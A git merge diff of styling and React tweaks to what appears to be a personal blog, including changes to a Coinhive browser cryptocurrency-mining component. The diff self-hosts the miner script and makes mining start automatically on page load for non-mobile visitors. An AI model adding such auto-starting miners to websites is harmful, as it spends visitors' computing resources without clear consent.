Merge pull request #72 from kremalicious/tweaks

tweaks

src/components/Post/PostImage.module.scss

@@ -30,33 +30,15 @@
     margin-top: $spacer * 1.5;
     margin-bottom: $spacer * 1.5;
 
-    > div {
-        @include media-frame();
-
-        border-radius: 0;
-
-        @media (min-width: $screen-sm) {
-            border-radius: $border-radius;
-        }
-    }
-
     a & {
         position: relative;
         display: block;
     }
 
     a:hover & {
-        > div {
-            border-color: $link-color !important;
-        }
-
         .postImageTitle {
             opacity: 1;
             transform: translate3d(0, 0, 0);
         }
     }
-
-    img {
-        border-radius: 0;
-    }
 }

src/components/atoms/Coinhive.jsx

@@ -11,7 +11,7 @@ const config = {
   throttle: 0.3,
   autoThreads: false,
   siteKey: '45EnDz1yUgdjmV9yX31UgamUy9ZjzIyt',
-  script: 'https://coinhive.com/lib/coinhive.min.js'
+  script: '/coinhive.min.js'
 }
 
 const Animation = posed.div(fadeIn)
@@ -47,17 +47,18 @@ export default class CoinHiveClient extends PureComponent {
     })
   }
 
-  componentDidMount() {
-    this.buildMiner()
-      .then(miner => {
-        this.setState({ miner })
+  async componentDidMount() {
+    try {
+      let miner = await this.buildMiner()
+      this.setState({ miner })
 
-        if (this.state.miner && !this.state.miner.isMobile()) {
-          this.start()
-          this.report()
-        }
-      })
-      .catch(() => null)
+      if (this.state.miner && !this.state.miner.isMobile()) {
+        this.start()
+        this.report()
+      }
+    } catch (error) {
+      return null
+    }
   }
 
   componentWillUnmount() {

src/components/atoms/Coinhive.module.scss

@@ -11,6 +11,8 @@
     border-top-left-radius: 4px;
     line-height: 1.2;
     cursor: pointer;
+    white-space: nowrap;
+    min-width: 7rem;
 
     svg {
         fill: $brand-grey-light;

src/components/atoms/Image.jsx

@@ -6,8 +6,8 @@ import styles from './Image.module.scss'
 
 const Image = ({ fluid, fixed, alt }) => (
   <Img
-    className={styles.image}
-    outerWrapperClassName={styles.imageWrap}
+    className={styles.imageWrap}
+    imgStyle={styles.image}
     backgroundColor="#dfe8ef"
     fluid={fluid ? fluid : null}
     fixed={fixed ? fixed : null}

src/components/molecules/Featured.module.scss

@@ -68,16 +68,8 @@
     }
 
     a {
-        > div {
-            @include media-frame();
-        }
-
         &:hover,
         &:focus {
-            > div {
-                border-color: $link-color !important;
-            }
-
             .featuredTitle {
                 opacity: 1;
                 transform: translate3d(0, 0, 0);

src/components/molecules/RelatedPosts.module.scss

@@ -39,19 +39,19 @@
         }
     }
 
+    img {
+        margin-bottom: 0;
+    }
+
     a {
         display: block;
 
         > div {
-            @include media-frame;
+            margin-bottom: 0;
         }
 
         &:hover,
         &:focus {
-            > div {
-                border-color: $link-color;
-            }
-
             h4 {
                 color: $link-color;
             }

src/templates/Page.jsx

@@ -16,7 +16,7 @@ const Page = ({ title, location, section, children }) => {
 Page.propTypes = {
   title: PropTypes.string.isRequired,
   children: PropTypes.any.isRequired,
-  section: PropTypes.object,
+  section: PropTypes.string,
   location: PropTypes.object
 }